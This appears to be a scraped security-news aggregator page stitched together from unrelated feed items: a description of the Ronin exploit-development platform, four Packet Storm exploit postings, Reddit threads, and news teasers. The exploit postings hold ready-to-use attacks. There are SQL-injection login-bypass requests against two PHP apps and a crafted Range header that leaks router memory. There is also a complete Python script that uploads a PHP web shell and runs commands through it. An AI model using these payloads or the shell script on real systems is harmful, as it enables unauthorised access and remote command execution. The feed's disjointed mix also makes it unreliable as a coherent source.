KitPloit - PenTest Tools!
Ronin - A Ruby Platform For Vulnerability Research And Exploit Development

https://1.bp.blogspot.com/-Tf-D13vSC8M/YG0Ca9quQrI/AAAAAAAAV18/jpcZ7fXgo8ETBLi8ir-lXER1_gSaClcvgCNcBGAsYHQ/s16000/ronin.png Ronin is a Ruby platform for vulnerability research and exploit development. Ronin allows for the rapid development and distribution of code, Exploits, Payloads, Scanners, etc, via Repositories. ConsoleRonin provides users with a powerful Ruby Console, pre-loaded with powerful convenience methods. In the Console one can work with data and automate complex tasks, with greater ease than the command-line. >> File.read('data').base64_decode DatabaseRonin ships with a preconfigured Database, that one can interact with from Ruby, without having to write any SQL. >> HostName.tld('eu').urls.with_query_param('id') RepositoriesRonin provides a Repository system, allowing users to organize and share miscallaneous Data, Code, Exploits, Payloads, Scanners, etc. $ ronin install git://github.com/user/myexploits.git LibrariesRonin provides libraries with additional functionality, such as Exploitation and Scanning: $ gem install ronin-exploits Features* Supports installing/updating/uninstalling of Repositories.
* Supports installing Repositories from various media types:
* Subversion (SVN)
* Mercurial (Hg)
* Git
* Rsync
* Provides a Database using DataMapper with:
* {Ronin::Author}
* {Ronin::License}
* {Ronin::Arch}
* {Ronin::OS}
* {Ronin::Software}
* {Ronin::Vendor}
* {Ronin::Address}
* {Ronin::MACAddress}
* {Ronin::IPAddress}
* {Ronin::HostName}

* {Ronin::Port}
* {Ronin::TCPPort}
* {Ronin::UDPPort}

* {Ronin::Service}
* {Ronin::OpenPort}
* {Ronin::OSGuess}
* {Ronin::UserName}
* {Ronin::URL}
* {Ronin::EmailAddress}
* {Ronin::Credential}
* {Ronin::ServiceCredential}
* {Ronin::WebCredential}

* {Ronin::Organization}
* {Ronin::Campaign}
* {Ronin::Target}

* Caches exploits, payloads, scanners, etc stored within Repositories into the Database.
* Convenience methods provided by ronin-support.
* Provides a customized Ruby Console using Ripl with:
* Syntax highlighting.
* Tab completion.
* Auto indentation.
* Pretty Printing (pp).
* print_info, print_error, print_warningand print_debugoutput helper methods with color-output.
* Inline commands (!nmap -v -sT victim.com)

* Provides an extensible command-line interface. SynopsisStart the Ronin console: $ ronin Run a Ruby script in Ronin: $ ronin exec script.rb View available commands: $ ronin help View a man-page for a command: $ ronin help wordlist Install a Repository: $ ronin install svn://example.com/path/to/repo List installed Repositories: $ ronin repos Update all installed Repositories: $ ronin update Update a specific Repositories: $ ronin update repo-name Uninstall a specific Repositories: $ ronin uninstall repo-name List available Databases: $ ronin database Add a new Database: $ ronin database --add team --uri mysql://user:pass@vpn.example.com/db Remove a Database: $ ronin database --remove team Requirements* Ruby >= 1.8.7
* DataMapper:
* dm-sqlite-adapter ~> 1.2
* libsqlite3

* dm-core ~> 1.2
* dm-types ~> 1.2
* dm-migrations ~> 1.2
* dm-validations ~> 1.2
* dm-aggregates ~> 1.2
* dm-timestamps ~> 1.2

* dm-is-predefined ~> 0.4
* uri-query_params ~> 0.6
* open_namespace ~> 0.4
* data_paths ~> 0.3
* object_loader ~> 1.0
* parameters ~> 0.4
* pullr ~> 0.1, >= 0.1.2
* ripl ~> 0.3
* ripl-multi_line ~> 0.2
* ripl-auto_indent ~> 0.1
* ripl-short_errors ~> 0[...]

.1
* ripl-color_result ~> 0.3
* ronin-support ~> 0.5 Install$ gem install ronin Development1. Fork It!
2. Clone It!
3. cd ronin4. bundle install5. git checkout -b my_feature6. Code It!
7. bundle exec rake spec8. git push origin my_featureLicenseCopyright (c) 2006-2021 Hal Brodigan (postmodern.mod3 at gmail.com)

This file is part of ronin.

Ronin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.

Ronin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with Ronin. If not, see https://www.gnu.org/licenses/. Download Ronin

Exploit Collector
Simple Student Information System 1.0 SQL Injection

https://4.bp.blogspot.com/-9fc43SI8K3Q/WWlvhaBflZI/AAAAAAAAIQU/x3qxae6Q3eMl1Wf8m-XtOKQ3MaKSPPWfQCLcBGAs/s1600/h90.png
Simple Student Information System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | bfec25b7957828dbd5331e19f7c20a6f

Download
# Exploit Title: Simple Student Information System 1.0 - SQL Injection (Authentication Bypass)
# Date: 13 April 2021
# Exploit Author: Galuh Muhammad Iman Akbar (GaluhID)
# Vendor Homepage: https://www.sourcecodester.com/php/11400/simple-student-information-system-ajax-live-search.html
# Software Link: https://www.sourcecodester.com/download-code?nid=11400&title=Simple+Student+Information+System+using+PHP+with+Source+Code
# Version: 1.0
# Tested on: windows 10

POC

Step 1 - Go to url http://localhost/studentinfosystem/index.php
Step 2 – Enter anything in username and password
Step 3 – Click on Login and capture the request in burpsuite
Step 4 – Change the username to 'or''=' and password 'or''='
Step 5 – after entering the payload, you can enter the website
POST /studentinfosystem/index.php HTTP/1.1
Host: 192.168.1.14
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Origin: http://192.168.1.14
Connection: close
Referer: http://192.168.1.14/studentinfosystem/index.php
Cookie: PHPSESSID=5sll425q7s76lpl9m1copg6mpe
Upgrade-Insecure-Requests: 1

username='or''='&password='or''='&login=Log+In


Source:packetstormsecurity.com

Exploit Collector
ExpressVPN VPN Router 1.0 Integer Overflow

https://4.bp.blogspot.com/-khon6dqGLkI/WWlvkVAr7qI/AAAAAAAAIQw/JwPgE9u6PkcV9AqklLFI3rOjfEX9YXC4QCLcBGAs/s1600/h96.png
ExpressVPN VPN Router version 1.0 suffers from an integer overflow vulnerability.

MD5 | c2b0de22fdf163131606730f4d69a979

Download
# Exploit Title: ExpressVPN VPN Router 1.0 - Router Login Panel's Integer Overflow
# Date: 09-04-2021
# Exploit Author: Jai Kumar Sharma
# Vendor Homepage: https://www.expressvpn.com/
# Software Link: https://www.expressvpn.com/vpn-software/vpn-router
# Version: version 1
# Tested on: Windows/Ubuntu/MacOS
# CVE : CVE-2020-29238

*Proof of concept*:

ExpressVPN Router's Login Panel runs on Nginx webserver, the version v1 of the router's firmware hosts web login panel on vulnerable web server

ExpressVPN Summary: A publicly known bug in the Nginx server used by the ExpressVPN Router version 1.x firmware was reported. ExpressVPN no longer ships or supports that version and all users are encouraged to upgrade to the latest version of the ExpressVPN Router firmware available on our site, which is not vulnerable to this bug. Additionally, we highly discourage our users from exposing their router control panel to the Internet, as this class of bug would only be exploitable with access to the control panel, which is usually restricted to the local network. For help or support upgrading your router please visit: https://www.expressvpn.com/support/

ExpressVPN Router version 1 is vulnerable to integer overflow vulnerability in Nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request.

Crafted Request:
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0)
Gecko/20100101 Firefox/81.0
Host: 127.0.0.1:8181
Accept-Encoding: identity
Range: bytes=-17208,-9223372036854758999
Connection: close
Response:
HTTP/1.1 206 Partial Content
Server: nginx/1.9.15
Date: Tue, 10 Nov 2020 19:22:05 GMT
Content-Type: multipart/byteranges; boundary=00000000002
Content-Length: 598
Last-Modified: Thu, 13 Sep 2018 04:55:28 GMT
Connection: close
ETag: "5b99edc0-99f"
--00000000002
Content-Type: text/html
Content-Range: bytes -14745-2462/2463


Source:packetstormsecurity.com

Exploit Collector
Native Church Website 1.0 Shell Upload

https://2.bp.blogspot.com/-n3YJZo98ptc/WWlvfHNo4ZI/AAAAAAAAIP8/W2JyxBpYTHMTjkJx5zl91eYOlgUDpw8egCLcBGAs/s1600/h84.png
Native Church Website version 1.0 suffers from a remote shell upload vulnerability.

MD5 | dee64438c491f2610eabc5f7febbf30b

Download
# Exploit Title: Native Church Website - Arbitrary File Upload (Authenticated)
# Date: 04/21
# Exploit Author: Richard Jones
# Vendor Homepage: https://www.sourcecodester.com/php/11764/native-church-website-phpmysql.html
# Version: 1.0
# Tested on: Windows 10 build 19041 + xampp 3.2.4

#/usr/bin/python3

import requests
import re
from requests.models import ReadTimeoutError
import sys

s = requests.Session()

TARGET = "192.168.1.207" # <<

UPLOADS_URL = f"http://{TARGET}/native/admin/save-photo.php"
GALLERY_URL = f"http://{TARGET}/native/uploads/"

def get(url):
r = s.get(url)
return r.text

def banner():
ban = """ _______ __ __
\ \ ____/ \ / \ ______ ______
/ | \_/ ___\ \/\/ / \____ \/ ___/
/ | \ \___\ / | |_> >___ \
\____|__ /\___ >\__/\ / /\ | __/____ >
\/ \/ \/ \/ |__| \/

"""
return ban

def uploadShell():
data = (
('file', ("file.php", "<?php")),
('caption', (None, 'simprevshell')),
)
r = s.post(UPLOADS_URL, files=data)
if r.status_code == 200:
return True
else:
return False

def getLink(page):
matchObj = re.findall("href=\"(.*?).php\"", page)
return matchObj

def testURL(url):
r = s.get(url)
return r.status_code

def getUploadLink(uploads):
if len(NEW_UPLOADS) > 1:
for l in NEW_UPLOADS:
link = f"{GALLERY_URL}{l}.php"
if testURL(link) == 200:
return link

uploadShell()

# Get upload link.
NEW_UPLOADS=getLink(get(GALLERY_URL))
shellUrl = getUploadLink(NEW_UPLOADS)

print("\033[34;1m" + banner() + "\033[0m")
print("\033[37m" + "Created by: Richard Jones aka Ac1d" +"\033[0m")
#Run webshell.
while True:
print()
try:
cmd = input("\033[91mac1d\033[0m>")
if cmd == "exit":
sys.exit()
r = s.get(f"{shellUrl}?c={cmd}", verify=False)
if r.status_code == 200:
print(r.text)
else:
raise Exception
except KeyboardInterrupt:
sys.exit()

Source:packetstormsecurity.com

Exploit Collector
Blitar Tourism 1.0 SQL Injection

https://2.bp.blogspot.com/-uXp9StI5Rh0/WWlvYIMdqaI/AAAAAAAAIOg/mHe50EJovPcz8di_9Up4vC4YPRAZ9BUbwCLcBGAs/s1600/h55.png
Blitar Tourism version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 03d4e059484374b7780a14a295e4a837

Download
# Exploit Title: Blitar Tourism 1.0 - Authentication Bypass SQLi
# Date: 13 April 2021
# Exploit Author: sigeri94
# Vendor Homepage: https://sourcecodeaplikasi.info/source-code-aplikasi-biro-travel-berbasis-web/
# Software Link: https://codeload.github.com/satndy/Aplikasi-Biro-Travel/zip/master
# Version: 1.0

POST /travel/Admin/ HTTP/1.1
Host: 192.168.186.132
Content-Length: 49
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.186.132
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.186.132/travel/Admin/
Accept-Encoding: gzip, deflate
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=0nr18qfifjk2f5o4kimk5ca312
Connection: close

username=admin%27+%23&password=admin&Login=Log+in

Source:packetstormsecurity.com

hacking: security in practice
Does anyone have a walk through for using CVE-2021-3156?

Context:

I'm a student in my final semester of college, and I'm taking a capstone course where we have to do a research project on a hacking/computer security related topic, and I went with CVE-2021-3156, the sudo privilege escalation. I'm trying to figure out how to actually use the exploit, but all my research has given me "Luckily, this has been patched, make sure to update your systems!" Which in my case is not very helpful.

If any of you know how it works or have any ideas on better ways to research than a simple google search, please let me know.

Thanks

submitted by /u/prodias2
[link] [comments]

hacking: security in practice
"Must watch" defcon talks?

I was watching some old presentations and asked myself, what are considered to be the "must have" of defcon talks by hacker community? What are your favourite talks?

submitted by /u/nopainXX
[link] [comments]

Dark Reading: Attacks/Breaches
Clear & Present Danger: Data Hoarding Undermines Better Security

Facebook and Google can identify patterns of attack within their own data, but smaller businesses rarely see enough traffic to successfully identify an attack or warn users.

Tencent Cloud Hadir di Indonesia, Apa yang Terbaru?
https://localhunter.medium.com/tencent-cloud-hadir-di-indonesia-apa-yang-terbaru-bf257f2e094?source=rss------bug_bounty-5

Pertama kalinya Tencent Cloud membuka cabang di Indonesia dengan sejumlah teknologi terbaharukan yakni Internet Data Center, yang diklaim…Continue reading on Medium » (https://localhunter.medium.com/tencent-cloud-hadir-di-indonesia-apa-yang-terbaru-bf257f2e094?source=rss------bug_bounty-5)

Tencent Cloud Hadir di Indonesia, Apa yang Terbaru?

Pertama kalinya Tencent Cloud membuka cabang di Indonesia dengan sejumlah teknologi terbaharukan yakni Internet Data Center, yang diklaim…Continue reading on Medium »
Read more...